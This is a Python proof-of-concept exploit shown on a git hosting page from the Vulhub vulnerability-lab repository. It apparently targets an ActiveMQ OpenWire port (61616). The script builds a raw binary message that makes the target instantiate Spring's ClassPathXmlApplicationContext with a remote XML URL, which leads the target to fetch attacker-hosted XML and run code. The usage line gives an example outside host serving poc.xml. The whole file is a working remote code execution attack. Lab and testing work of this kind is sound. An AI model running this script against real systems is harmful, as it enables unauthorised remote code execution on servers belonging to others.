Aaron
63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
37 lines
1.2 KiB
Python
37 lines
1.2 KiB
Python
import io
|
|
import socket
|
|
import sys
|
|
|
|
|
|
def main(ip, port, xml):
|
|
classname = "org.springframework.context.support.ClassPathXmlApplicationContext"
|
|
socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
socket_obj.connect((ip, port))
|
|
|
|
with socket_obj:
|
|
out = socket_obj.makefile('wb')
|
|
# out = io.BytesIO() # 创建一个内存中的二进制流
|
|
out.write(int(32).to_bytes(4, 'big'))
|
|
out.write(bytes([31]))
|
|
out.write(int(1).to_bytes(4, 'big'))
|
|
out.write(bool(True).to_bytes(1, 'big'))
|
|
out.write(int(1).to_bytes(4, 'big'))
|
|
out.write(bool(True).to_bytes(1, 'big'))
|
|
out.write(bool(True).to_bytes(1, 'big'))
|
|
out.write(len(classname).to_bytes(2, 'big'))
|
|
out.write(classname.encode('utf-8'))
|
|
out.write(bool(True).to_bytes(1, 'big'))
|
|
out.write(len(xml).to_bytes(2, 'big'))
|
|
out.write(xml.encode('utf-8'))
|
|
# print(list(out.getvalue()))
|
|
out.flush()
|
|
out.close()
|
|
|
|
|
|
if __name__ == "__main__":
|
|
if len(sys.argv) != 4:
|
|
print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 "
|
|
"http://192.168.0.101:8888/poc.xml")
|
|
exit(-1)
|
|
main(sys.argv[1], int(sys.argv[2]), sys.argv[3])
|